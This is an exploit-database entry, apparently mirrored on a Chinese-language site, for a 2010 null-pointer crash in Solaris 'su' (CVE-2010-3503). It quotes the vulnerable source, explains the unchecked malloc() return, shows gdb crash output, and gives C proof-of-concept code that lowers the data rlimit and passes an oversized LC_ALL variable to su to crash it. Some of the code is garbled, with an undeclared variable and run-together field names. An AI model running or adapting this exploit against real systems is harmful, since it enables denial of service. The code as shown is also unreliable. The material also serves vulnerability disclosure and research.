Oracle Solaris – ‘su’ Crash

• Exploit Database
• 15 阅读

• 作者： prdelka
  日期： 2010-10-13
• 类别：

  • dos
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/15245/

• From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c
  
  521 		for (j = 0; initenv[j] != 0; j++) { [1]
  522 			if (initvar = getenv(initenv[j])) { [2]
  ...
  535 				} else {
  536 					var = (char *)
  537 					malloc(strlen(initenv[j]) [3]
  538 					+ strlen(initvar)
  539 					+ 2);
  540 					(void) strcpy(var, initenv[j]); [4]
   
  'su' when creating new environment from inherited environment inherits values defined
  such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
  then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
  the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
  means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
  a null ptr vulnerability in 'su'. 
  
  
   Program terminated with signal 11, Segmentation fault.
   #00xd1244734 in ?? ()
   (gdb) x/i $pc
   0xd1244734:mov%eax,(%edi)
   (gdb) i r $eax
   eax0x415f434c1096762188 <- OUR STRING
   (gdb) i r $edi
   edi0x0 0 <- NULL PTR
  
  Incurred fault #6, FLTBOUNDS%pc = 0xD1244734
  siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
  Received signal #11, SIGSEGV [default]
  siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
  
  
  ----[ PoC trigger 'su' as you.
  /* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!
  
   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault
  
  -- prdelka
  */
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/resource.h>
  #include <sys/fcntl.h>
  #include <sys/types.h>
  #include <sys/mman.h>
  
  struct {
  rlim_trlim_cur; /* current (soft) limit */
  rlim_trlim_max; /* hard limit */
  } rlimit;
  
  int main(int argc,char *argv[]){
  int fd;
  struct rlimit* rlp = malloc(sizeof(rlimit));
  getrlimit(RLIMIT_DATA,rlp);
  char* buf1 = malloc(300000);
  memset(buf1,'A',300000);
  long buf2 = (long)buf1 + 299999;
  memset((char*)buf2,0,1);
  memcpy(buf1,"LC_ALL=",7);
  rlp->rlim_cur = 16400;
  setrlimit(RLIMIT_DATA,rlp);
  char* env[] = {buf1,file,NULL};
  char* args[] = {"su","-",getlogin(),NULL};
  printf("[ SunOS 5.11 'su' null ptr PoC\n");
  execve("/usr/bin/su",args,env);
  }
  
  
  // This was disclosed and patched in October 2010, CVE-2010-3503